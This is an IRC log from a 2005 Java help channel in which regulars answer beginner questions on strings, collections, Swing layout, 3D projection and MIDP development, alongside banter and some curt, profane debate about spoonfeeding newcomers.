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[21:32:45] <Clackwell> thuneon: locate its position, do substring magic.
[21:32:51] <Clackwell> "i have to do this myself? EEK!"
[21:33:07] <Clackwell> thuneon: StringBuffer might allow for a different route, not sure.
[21:33:16] <thuneon> thx
[21:33:17] <ernimril> thuneon: String in java is immutable, you can not change
[21:33:20] <ernimril> it
[21:33:21] <gumpish> Oh it's easy... String.findLastCommaNextToAnUnd(String yourString);
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[21:34:27] <jmop> thuneon, two int's hold the position
[21:34:43] <jmop> i'll write it up
[21:35:08] <cybereal> ~spoon
[21:35:09] <javabot> I guess the factoid 'spoonfeeding' might be appropriate:
[21:35:11] <javabot> Spoon-feed a newbie for a day and he will come back with more questions.  Teach him how to help himself and he will come back with answers.
[21:35:57] <rogue-kun{B}> cdubya and you say your problem is it only reading the first student back?
[21:36:06] <jmop> dude its 3 lines of code
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[21:37:27] <cdubya> rogue-kun{B}, yep
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[21:37:59] <jmop> this may work
[21:38:00] <jmop> http://pastebin.com/394686
[21:38:25] <Clackwell> ~tell cdubya about test case
[21:38:25] <javabot> cdubya, test case is a minimal independently runnable program, which demonstrates the problem; see http://www.physci.org/codes/sscce.jsp for details and a HOWTO
[21:38:29] <rogue-kun{B}> cdubya: add "System.out.println("Student " + i  + ": " + grade[i]);  to you loop, i think your \n might be messthing up 8)
[21:38:46] <Clackwell> <duck> he provided one already, right? goof..
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[21:41:54] <cdubya> rogue-kun{B}, ok, I'll give that a shot.
[21:42:10] <b14ck> Hey, is there a way to get the length of a string?
[21:42:26] <slava> no
[21:42:27] <cybereal> heh
[21:42:35] <fforw> it's a mystery
[21:42:46] <cheeser> javabot: be api barbie
[21:42:46] <javabot> Javadoc is *hard*!
[21:42:47] <fforw> b14ck: "abc".length()
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[21:42:54] <b14ck> Excellent.
[21:42:55] <cheeser> javabot: tell fforw about spoonfeeding
[21:42:55] <javabot> fforw, Spoon-feed a newbie for a day and he will come back with more questions.  Teach him how to help himself and he will come back with answers.
[21:42:58] <b14ck> I though it was just .length
[21:42:59] <rogue-kun{B}> b14ck: yes it in the String API 8)
[21:43:04] <cheeser> b14ck: it's all in the javadoc
[21:43:21] <rogue-kun{B}> ~tell b14ck about String
[21:43:22] <javabot> b14ck, I guess the factoid 'string comparison' might be appropriate:
[21:43:24] <javabot> b14ck, string comparison is http://www-106.ibm.com/developerworks/java/library/j-ebb0917a.html
[21:43:25] <b14ck> I've been doing C for a long time and haven't done java in a while.
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[21:43:41] <fforw> cheeser: hope you never have children ;)
[21:43:46] <rogue-kun{B}> b14ck: thats why the javadoc API's are your friend 8)
[21:43:47] <cybereal> b14ck: does C make it hard to read the javadoc?
[21:43:48] <cheeser> fforw: i do have children.
[21:43:59] <b14ck> Did I ask for your flames?
[21:44:04] <cybereal> Yes
[21:44:05] <b14ck> Thanks for the javadoc link.
[21:44:08] <cheeser> no one's flamed yet.
[21:44:11] <b14ck> That's all I need :)
[21:44:15] <fforw> cheeser: and? did you give them the recipe to make their own food as babies? ;)
[21:44:37] <cybereal> fforw: nobody here is a baby
[21:44:42] <cheeser> fforw: if you're calling b14ck a baby, that's your thing.  i happen to think he's competent enough to read the API.
[21:44:50] <cybereal> fforw: obviously they can read if they are using irc
[21:44:54] <rogue-kun{B}> fforw: at what point do teach kids how to look up words in a dictionary?
[21:45:16] <fforw> OMG! I helped a newbie.. shame on me
[21:45:16] * cybereal got a dictionary as a gift when he was 7
[21:45:21] <cheeser> fforw: are you gonna cut up the meat for your teenagers?  maybe chew it for them?
[21:45:35] <cheeser> fforw: it's a question of how you help.  i prefer to teach them how to discover stuff.
[21:45:43] <cheeser> otherwise they just keep asking simple questions.
[21:46:51] <rogue-kun{B}> cybereal: the Christmass before I was 8 i got a comple disney enclopedia set, incuding dictionary 8)
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[21:47:33] <cybereal> rogue-kun{B}: cool; mine wasn't Disney but it was somewhat geared towards children, with some more interesting pictures (colored) and larger print.
[21:47:45] <rogue-kun{B}> fforw: the better help is pointg gim to the relven part of the app where he would find not just .lenght() but .trim(), .equals() etc
[21:48:01] <cheeser> yeah.  i think we've beaten that horse enough.
[21:48:01] <cheeser> 8^)=
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[21:48:29] <cheeser> thehil: hey
[21:48:59] <rogue-kun{B}> cybereal: i loved the greek mythology in the enculopdia set 8)
[21:49:06] <cybereal> ~horse
[21:49:06] <javabot> cybereal, horse is http://www.onahorse.com/
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[21:49:20] <rogue-kun{B}> cheeser: but there still meat on the carcus ;)
[21:49:26] <fforw> now that we have talked half an hour about me helping inapropriately maybe someone should provide b14ck with the correct javadoc link
[21:49:41] <cybereal> fforw: javadoc has an index
[21:49:41] <b14ck> The link is in the topic.
[21:49:48] <b14ck> It wasn't that hard to find..
[21:49:54] <cybereal> ~b14ck++
[21:49:55] <javabot> b14ck has a karma level of 1, cybereal
[21:49:56] <cheeser> 8^)=
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[21:50:17] <cheeser> javabot: forget cheeser
[21:50:17] <javabot> I forgot about cheeser, cheeser.
[21:50:58] <rogue-kun{B}> [14:43]  <-> [14:49] fforw your time sence is worse than mine ;)
[21:51:30] <fforw> rogue-kun{B}: uh?
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[21:52:36] <cybereal> fforw: he's pointing out that it was 6 minutes, not 30.
[21:52:37] <rogue-kun{B}> said we talk about it for 1/2 an hour,  [14:43] the time stam from when spoonfeeding was triggered, [14:49] was when you declare we talking about it for 1/2 an hour
[21:52:52] <b14ck> Not to mention he can't spell 'sense'
[21:53:10] <fforw> rogue-kun{B}: emotional relative time. enough bashing received to fill half an hour
[21:53:18] <cybereal> b14ck: pretty sure his native language isn't English
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[21:54:00] <rogue-kun{B}> cybereal: alas it is, but dysgaphia makes wrtting diffcult
[21:54:07] <fforw> if the english could decide on one way to pronounce the same combination of characters spelling english would be much easier
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[21:54:41] <rogue-kun{B}> english is the Borg of languages
[21:55:03] <Stork> the borg own you
[21:55:16] <b14ck> English is like Windows. It's large and complicated, but everyone needs to know how to use it.
[21:55:18] * slava waits a few minutes while the mac swaps endlesly
[21:55:24] <fforw> rogue-kun{B}: Bjoern Borg?
[21:55:34] <slava> Clackwell: i get paid to watch a spinning beachball.
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[21:55:50] <slava> Clackwell: every once in a while, jedit starts to swap for a minute or two
[21:55:52] <slava> oh, its finished
[21:55:53] <slava> back to work
[21:56:25] <wherisat> every freakin time I add a JTable to a JScrollPane I get all this extra space -- is there anyway to fix this so the scrollpane only takes up just enough space to fit the JTable WITHOUT having to set sizes?
[21:57:34] <wherisat> I fits fine in a JPanel, but the minute I put a JScrollPane in there it's all hosed
[22:00:04] <moox> Hi all ! There is a type of Collection which return an item for a given object ? Like : myCollection.get(obj1) looking  if the collection contains the same object (using equals() or hashCode() of obj1 Class) and if true, return the reference ?
[22:00:08] <mohadib> put the JTable on a JPanel?
[22:00:39] <mohadib> moox: Map?
[22:02:22] <moox> mohadib, yes but a map contains a key and a value. Is it the only possibilty ? Actually I store this in a map using an Id as key and the Object as value but the "id" is not really object oriented fashion no ?
[22:02:45] <thuneon> mhm
[22:02:46] <mohadib> how so
[22:02:50] <mohadib> its just an indexs
[22:02:53] <slava> moox: there is Sets
[22:02:53] <mohadib> index
[22:02:53] <thuneon> whats wrong here
[22:02:53] <thuneon>         String bestellTextFixed = bestellText.subString(0, vorKomma) + " und" + bestellText.subString(nachKomma);
[22:03:01] <thuneon> vorkomma and nachkomma are integer
[22:03:03] <slava> write your code in english
[22:03:14] <slava> nachkomma? what the fuck is that
[22:03:30] <thuneon> ","  thats a komma
[22:03:31] <Kallistor> aftercomma
[22:03:42] <moox> slava, a set return the object for a given object ?
[22:03:42] <Kallistor> :)
[22:03:56] <slava> moox: a set is just a map where the keys and values are equal
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[22:04:42] <moox> slava, OK, that is what I'm looking for. I'm going to try that after read the doc a little
[22:05:06] <moox> slava, What implementation of Set do you recommend me ?
[22:05:12] <sayonara> i have a button and i did like "btnOK.setSize(20,20);", but when i run the programm the button is always expanded to full size of the frame? how can i make the button use the dimensions i want?
[22:05:40] <sayonara> with size i mean broadness
[22:05:47] <IseeIsee> I want to make a Squash game
[22:06:17] <IseeIsee> once the ball hits the floor after how would I make it appear coming towards a player ?
[22:07:10] <fforw> make it bigger?
[22:07:29] <slava> by learning some math
[22:07:48] <IseeIsee> ok, fine I make it bigger
[22:07:52] <fforw> 3D -> 2D projection
[22:07:57] <IseeIsee> but what would be the x & y axis ?
[22:08:08] <IseeIsee> can you just check out this link
[22:08:15] <IseeIsee> http://www.addictinggames.com/pingpong3d.html
[22:08:48] <slava> IseeIsee: you have to figure out the math for it.
[22:08:49] <moox> slava, Can I get a value from a Set ?
[22:08:51] <IseeIsee> the behaviour I want to acheive is when the ball is coming towards the blue racket
[22:10:04] <slava> IseeIsee: you think its just like a line of code or something eh?
[22:10:13] <slava> learn about matrices, vectors, quaternions, and 3d graphics
[22:10:24] <slava> there's no java API that will do ping-pong balls for you
[22:10:56] * cheeser votes for that for 1.7
[22:11:05] <cybereal> heh
[22:11:26] <IseeIsee> ya I understand that
[22:11:41] <IseeIsee> I don't want the random motion
[22:11:42] <Clackwell> RFE: Java needs a 3d ping pong api!
[22:12:00] <IseeIsee> I just want the behaviour of where the balls seems to approach the player
[22:12:16] <Clackwell> new java.pingpong.3d.Game().goGoGo();
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[22:13:45] <slava> IseeIsee: that's just a projection of a vector in 3d space to 2d space, computed by multiplying the vector by a matrix
[22:14:06] <Clackwell> yeah, that's very simple.
[22:14:08] <IseeIsee> :)
[22:14:24] <slava> its simple if you know some programming/math
[22:15:07] <IseeIsee> ya I know some programming/maths
[22:15:11] <IseeIsee> can you explain more
[22:15:25] <slava> there's nothing to explain
[22:15:37] <slava> as the ball moves along a trajectory in 3-space you project it onto the screen
[22:15:55] <IseeIsee> no this idea  of 3d space to 2d space and multiplation of vector by a matrix
[22:16:00] <slava> jeez
[22:16:07] <slava> its basic stuff you learn in college
[22:16:11] <slava> or high school
[22:16:34] <slava> when the ball bounces its reflection along the normal to the floor
[22:16:43] <IseeIsee> well they did not teach me
[22:16:51] <IseeIsee> I mean I never went to a high school
[22:16:59] <slava> ok, great
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[22:17:04] <IseeIsee> where can I learn all such stuff on the internet ?
[22:17:07] <IseeIsee> any idea
[22:17:10] <slava> you can't learn it on the internet
[22:17:10] <IseeIsee> I don't know what to search for
[22:17:22] <slava> go to the bookstore and buy an algebra book
[22:17:22] <rogue-kun{B}> IseeIsee: you did not learn refracted andle and how to build a Vector from X and Y ? [3d juimps adds a Z]
[22:17:46] <IseeIsee> I know about vector xi+yj, thats the only thing I know
[22:17:57] <slava> then don't attempt to write a ping pong game
[22:17:58] <IseeIsee> I do not know about refracted angle
[22:18:22] <IseeIsee> slava, please help me out, what kind of algebra should I be looking for ?
[22:18:33] <IseeIsee> give me some hints, so I can search on it
[22:18:36] <slava> linear algebra
[22:18:41] <slava> you cant really learn it by googling
[22:18:47] <slava> buy a text book, and do all the exercises
[22:18:53] <rogue-kun{B}> reflection angles
[22:19:05] <slava> like i said, its not one line of code to do 3d
[22:19:22] <slava> you need a high school education
[22:19:35] <cHaoTiCa> at lthe very least
[22:19:37] <cHaoTiCa> :)
[22:19:46] <IseeIsee> ummmmmmmmm
[22:19:50] <IseeIsee> I don't know what to say
[22:20:05] <rogue-kun{B}> slava: High school math, and high school physics to be precises 8)
[22:20:26] <Clackwell> IseeIsee: some folks on irc might be willing to tutor you for a fee. typically payable via paypal.
[22:20:35] <cHaoTiCa> last i checked, physics was mostly math anyway :)
[22:20:46] <rogue-kun{B}> IseeIsee: you might find somthing if you google "physics of snooker"
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[22:21:47] <IseeIsee> ok
[22:22:37] <moox> Can a Set return an Object stored ?
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[22:25:02] <IseeIsee> are we talking about stuff like this:        http://www.phy.ntnu.edu.tw/ntnujava/viewtopic.php?t=238
[22:25:17] <rogue-kun{B}> moox: which Set you using?
[22:25:56] <Clackwell> moox: what do the api docs say?
[22:26:36] * slava checks IseeIsee 's url
[22:26:39] <slava> ugh i need to disable applets
[22:26:49] <slava> they slow down teh computer
[22:27:19] <rogue-kun{B}> IseeIsee yes we are talking kinematics
[22:27:38] <fforw> IseeIsee: I think squash has to be more complicated as it is a rubber ball which deforms more than a ping pong ball
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[22:29:32] <moox> rogue-kun{B}, I'm not using any Set yet
[22:29:52] <moox> Clackwell, the answer to my question, I know...
[22:30:00] <rogue-kun{B}> fforw: actull same leve of compcation with that ball just differn valus on air friction and elastiticty....what make sqash more compcat is the number of rebounding surphases
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[22:30:30] <rogue-kun{B}> moox: http://java.sun.com/j2se/1.5.0/docs/api/java/util/Set.html
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[22:31:07] <fforw> rogue-kun{B}: the model in the link only includes torque and friction
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[22:32:42] <slava> i'm getting sick of coding things for other people
[22:32:57] <slava> working on stupid shit i'll never need myself
[22:33:37] <rogue-kun{B}> fforw: actull it has eleasity, but you only get two chose, shell and soild
[22:34:50] <mohadib> slava: such is life when you work for money
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[22:36:18] <slava> mohadib: but next year i'm getting paid to study mwahahah your tax dollars at work suka
[22:36:27] <mohadib> hah
[22:36:36] <fforw> rogue-kun{B}: sorry.. had java disabled in the webdev extension and only saw the formulas
[22:36:44] <mohadib> glad someone is getting something from it
[22:37:32] <rogue-kun{B}> mohadib: other the big busness 8)
[22:38:30] <mohadib> jscrollpanel.setAutoScrolls(true) does not seem to work well
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[23:00:14] <jogo_sf_> Hi, what's the best way to put constant data into a midlet ?
[23:00:26] <cHaoTiCa> ?
[23:00:56] <jogo_sf_> like a calendar for a year and a special topic so that the entries don't change
[23:01:41] <cHaoTiCa> entries for what?  the months?
[23:02:03] <jogo_sf_> entries for events
[23:02:07] <jogo_sf_> a date
[23:03:18] <cHaoTiCa> it would seem that not having addCalendarEvent(...), or checking before you add, would be a good start :)
[23:03:49] <jogo_sf_> I can either load a data file from the jar or compile the data directly into a class
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[23:04:56] <jogo_sf_> well, this application has a special purpose: If you start it, it will show you the next events for a week or more ( which are known in advance ) and will sound an alarm before
[23:05:08] <cHaoTiCa> compiling it in would increase the class's size, of course....but if you intend for the data to never ever be edited, that'd be a viable option
[23:05:33] <cHaoTiCa> if you want the data to be editable at some point, put it in a file
[23:05:51] <jogo_sf_> no, it's not editable
[23:06:04] <cHaoTiCa> ever?
[23:06:32] <jogo_sf_> teh question is, are the limits for classes tighter than the ones for data files with midp devices ?
[23:06:37] <jogo_sf_> never ever ;-)
[23:06:51] <jogo_sf_> a new year, a new program ;-)
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[23:07:23] <cHaoTiCa> that much i wouldn't know...about the limits, that is
[23:07:30] <cybereal> jogo_sf_: what do you mean?
[23:07:45] <cybereal> jogo_sf_: which "limits" ?
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[23:08:18] <jogo_sf_> how big can a class be with midp ? can a file in a jar be bigger ?
[23:08:28] <cybereal> jogo_sf_: it depends on the device
[23:08:52] <cybereal> jogo_sf_: shoot for a 32k or smaller jar if possible and you should hit most devices; there are also stack limitations and other things
[23:08:58] <jogo_sf_> but there are different limits, right ? at least, most of the time
[23:09:09] <cybereal> The device defines its limit
[23:09:41] <jogo_sf_> I mean, there can be different limits for classes and for files ?
[23:09:48] <cybereal> jogo_sf_: what you might do is go get some of the dev libs from various popular phone makers
[23:09:59] <cybereal> jogo_sf_: yes of course
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[23:10:10] <cHaoTiCa> how many dates do you intend for this code to track, anyway?
[23:10:53] <jogo_sf_> well, about 2-3 a week, which makes
[23:11:02] <jogo_sf_> about 100-150
[23:11:57] <Stork> i'm bored :*(
[23:12:14] <mohadib> Stork: write some code
[23:12:28] <Stork> i just finished writing some code
[23:12:28] <jogo_sf_> cybereal: I'm working with WTK23 and EclipseME at the moment
[23:12:35] <Stork> would you like to see what it does?
[23:12:38] <mohadib> write some more
[23:12:41] <mohadib> sure
[23:12:54] <Stork> have you heard of an online mmporg called runescape?
[23:13:00] <mohadib> yes
[23:13:07] <Stork> i've made a client for this
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[23:13:16] <mohadib> did it come from rune?
[23:13:24] <mohadib> the mmorpg
[23:13:30] <Stork> i'm not sure
[23:13:30] <mohadib> based on i should say?
[23:13:33] <mohadib> ok
[23:13:41] <zackk> runescape x_x
[23:13:42] <cybereal> jogo_sf_: the advantage of getting some libs from real phone manufacturers is that they generally come with emulators setup with the real constraints
[23:14:01] <jogo_sf_> cybereal: that's true
[23:14:17] <Stork> mohadib: i can't really explain it, just check out http://81.86.115.45/
[23:14:49] <mohadib> pretty nice
[23:14:54] <Stork> thanks
[23:14:58] <jogo_sf_> cHaoTiCa: Compling the data in has some other advantage: I don't have to parse a file, it's all there
[23:15:11] <jogo_sf_> cHaoTiCa: which also makes it faster
[23:15:20] <Stork> that's probably the most interesting thing i've made in java for a while
[23:15:30] <Clackwell> jogo_sf_: NOTORIOUS "Programmers are notoriously bad at guessing where performance problems lie." (http://www.javaworld.com/javaworld/jw-11-2000/jw-1117-performance_p.html)
[23:15:50] <jogo_sf_> Clackwell: Famous last words ;-)
[23:16:09] <jogo_sf_> Don't tell me, I'm Mr. Profiler ;-)
[23:16:44] <ernimril> jogo_sf_: what profiler?
[23:17:00] <Clackwell> weren't you mr. parsing-these-100kb-at-startup-is-going-to-make-a-relevant-difference a minute ago?
[23:17:16] <jogo_sf_> good question. Didn'T use one for java, but could give you some for c++
[23:17:34] <jogo_sf_> Clackwell: no, i wasn't
[23:17:40] <Clackwell> ok ;)
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[23:18:13] <ernimril> jogo_sf_: ok, not very interested, I develop my own profilers...
[23:18:36] <jogo_sf_> that's another good question: Are there any profilers for midp devel ?
[23:19:01] <jogo_sf_> or something like JUnit for midp ?
[23:19:18] <ernimril> jogo_sf_: not sure, my profiler is free, so you get the source with it...
[23:20:38] <ernimril> ~tell jogo_sf_ about jmp
[23:20:38] <javabot> jogo_sf_, jmp is Java Memory Profiler at http://www.khelekore.org/jmp/ - written by ernimril
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[23:22:28] <jogo_sf_> ernimril: I see
[23:23:21] <jogo_sf_> I'm not sure, but I think that it will not work on a phone
[23:23:52] <jogo_sf_> I will start by simply getting my own timings
[23:23:56] <ernimril> jogo_sf_: neither do I and I do not have the hardware to test it...
[23:24:09] <ernimril> jogo_sf_: but with the source other people can try it...
[23:24:20] <jogo_sf_> ernimril: Does it use JNI ?
[23:24:37] <jogo_sf_> ernimril: It should, if it's written in C
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[23:24:45] <ernimril> jogo_sf_: a little. There is a java class that you can use to control it with..
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[23:25:01] <ernimril> jogo_sf_: well the jvmpi is a C interface into the jvm
[23:25:14] <jogo_sf_> ernimril: I don't think that you can use this with midp
[23:25:17] <ernimril> jogo_sf_: the profiler is not java code, it is full C
[23:25:46] <ernimril> jogo_sf_: as I said, I do not think so either, but you/other can try
[23:25:53] <Stork> "Ah, IRC, where men are men, women are men, and 14 year old girls are FBI agents."
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[23:27:49] <jogo_sf_> ernimril: I should rtfm: wtk-2.3 has a profiler !
[23:28:13] <jogo_sf_> perfect
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[23:28:26] <slava> i just spent 4 hours on a manual memory management problem in the code at work
[23:28:40] <jogo_sf_> Now I'm Mr. Profiler again ;-)
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[23:30:42] <jogo_sf_> cybereal: Another question : Are midp midlets compiled with the normal javac ?
[23:31:02] <sayonara> does anybody know why eclipse always wants to add this "serialVersionUID" to nearly every new class i make?
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[23:34:42] <codex7> I keep getting the following exception - Exception in thread "AWT-EventQueue-0" java.lang.NullPointerException
[23:35:06] <Storkme> codex7
[23:35:09] <Storkme> i know your problem
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[23:35:54] <codex7> do you know the answer? :)
[23:36:04] <Storkme> nope :)
[23:36:13] <Storkme> try posting the code you're getting the error with
[23:36:32] <cybereal> jogo_sf_: yes
[23:37:16] <codex7> I try debugging it and it said that the source attachment does not contain the source for the file TrueTypeFont.class
[23:37:25] <cybereal> sayonara: in java 1.5 it's some magic used in Serializable classes
[23:37:26] <Clackwell> codex7: consider providing a test case (avoids having to guess what you are *really* doing): http://javafaq.mine.nu/lookup?22 Also provide any error messages that you might be getting. typically paste to http://pastebin.com
[23:37:30] <jogo_sf_> cybereal: but they have to be preverified before I can deploy them
[23:37:30] <b14ck> Hey, when using a BufferedReader, is there a way to get a single character from the stream?
[23:37:32] <cybereal> sayonara: read the javadoc on the interface Serializable
[23:37:42] <Clackwell> b14ck: APIDOCS The API documentation for the Java standard libraries ( download at http://java.sun.com/docs/ ) lists ALL classes (see link "All Classes") and ALL methods (see link "Index"): http://java.sun.com/j2se/1.5.0/docs/api/overview-summary.html
[23:37:44] <sayonara> cybereal: what do you mean with magic?
[23:37:58] <cybereal> jogo_sf_: there are additional tools for J2ME but it still needs the latest J2SE compiler
[23:38:03] <sayonara> ok i'll do that
[23:38:07] <codex7> ok let me post the code and I will get back.  brb
[23:38:10] <jogo_sf_> ok
[23:38:18] <Clackwell> codex7: test case, not your code
[23:38:24] <pchapman> b14ck, yes.
[23:38:28] <b14ck> ty Clackwell
[23:38:32] <b14ck> Exactly what I need :)
[23:38:42] <Clackwell> yep, any java developer does :)
[23:40:07] <pr3d4t0r> censored!
[23:40:35] <Drone> That URL gave the following error: java.net.ConnectException, Connection timed out
[23:41:05] <Clackwell> bye :)
[23:41:44] <Storkme> bye!
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[23:46:46] <jogo_sf_> ok, bye
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[23:47:13] <moox> I have a Set of objects. Is if possible to obtain the reference of the stored objects ?
[23:47:24] <slava> rtfm
[23:47:43] <Storkme> reference?
[23:47:57] <pisi> anyone knows how to run eclipse with java 1.5 on osx ?
[23:49:52] <pchapman> AFAIK, there is no java 1.5 available for osx
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[23:50:18] <pisi> there is
[23:50:25] <pchapman> I don't use OSX though, so I could be wrong.
[23:50:26] <pisi> as a separate download
[23:50:38] <pchapman> How long has it been available?
[23:50:50] <cybereal> pchapman: a long time
[23:51:27] <pchapman> Hmm.  I had someone tell me that it wasn't as recent as 4 months ago. Oh well.
[23:51:46] <cybereal> 4 mo. is a long time!
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[23:52:20] <pchapman> All things are relative.
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[23:54:00] <wherisat> anyone know a crisp way to make certain a JDialog isn't allowed to be moved outside of it's parent Frame?
[23:54:14] <wherisat> to make a JDialog not be draggable outside its parent frame?
[23:54:33] <wherisat> like JInternalFrames are within a JDesktopPane?
[23:54:48] <cybereal> wherisat: why would you do that?
[23:55:37] <wherisat> because of "security concerns" -- not my call
[23:55:43] <wherisat> and no, it doesn't make sense
[23:55:49] <cybereal> wtf
[23:55:53] <wherisat> zactly
[23:56:16] <wherisat> customer is always right my ass
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[23:57:48] <b14ck> Can your constructor throw an exception?
[23:57:59] <cybereal> b14ck: yeah
[23:58:03] <b14ck> thanks
[23:58:27] <cybereal> wherisat: I guess your best bet is trying to move the window back to its last position if its new position on some event puts it outside of the "parent" frame
[23:58:56] <cybereal> There is, however, no guarantee that it works everywhere
[23:59:31] <d03boy> does anyone know of a doubly linked list?
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   October 15, 2005  
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